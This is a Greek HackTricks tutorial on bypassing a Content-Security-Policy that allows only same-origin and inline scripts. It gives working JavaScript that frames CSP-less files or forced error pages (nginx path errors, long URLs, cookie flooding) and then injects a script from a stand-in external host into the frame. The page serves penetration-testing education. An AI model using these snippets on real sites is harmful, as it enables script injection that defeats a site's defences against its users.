5.8 KiB
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μια ρύθμιση όπως:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Απαγορεύει τη χρήση οποιωνδήποτε συναρτήσεων που εκτελούν κώδικα που μεταδίδεται ως συμβολοσειρά. Για παράδειγμα: eval, setTimeout, setInterval
θα αποκλειστούν λόγω της ρύθμισης unsafe-eval
Οποιοδήποτε περιεχόμενο από εξωτερικές πηγές αποκλείεται επίσης, συμπεριλαμβανομένων εικόνων, CSS, WebSockets και, ειδικότερα, JS
Μέσω Κειμένου & Εικόνων
Έχει παρατηρηθεί ότι οι σύγχρονοι περιηγητές μετατρέπουν εικόνες και κείμενα σε HTML για να βελτιώσουν την εμφάνισή τους (π.χ., ρύθμιση φόντων, κεντράρισμα κ.λπ.). Ως εκ τούτου, εάν ένα αρχείο εικόνας ή κειμένου, όπως το favicon.ico
ή το robots.txt
, ανοιχτεί μέσω ενός iframe
, αποδίδεται ως HTML. Σημαντικό είναι ότι αυτές οι σελίδες συχνά δεν έχουν επικεφαλίδες CSP και μπορεί να μην περιλαμβάνουν X-Frame-Options, επιτρέποντας την εκτέλεση αυθαίρετου JavaScript από αυτές:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Via Errors
Ομοίως, οι απαντήσεις σφάλματος, όπως αρχεία κειμένου ή εικόνες, συνήθως έρχονται χωρίς CSP headers και μπορεί να παραλείπουν τα X-Frame-Options. Τα σφάλματα μπορούν να προκαλούνται ώστε να φορτώνονται μέσα σε ένα iframe, επιτρέποντας τις εξής ενέργειες:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Μετά την ενεργοποίηση οποιουδήποτε από τα αναφερόμενα σενάρια, η εκτέλεση JavaScript μέσα στο iframe είναι εφικτή ως εξής:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Αναφορές
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.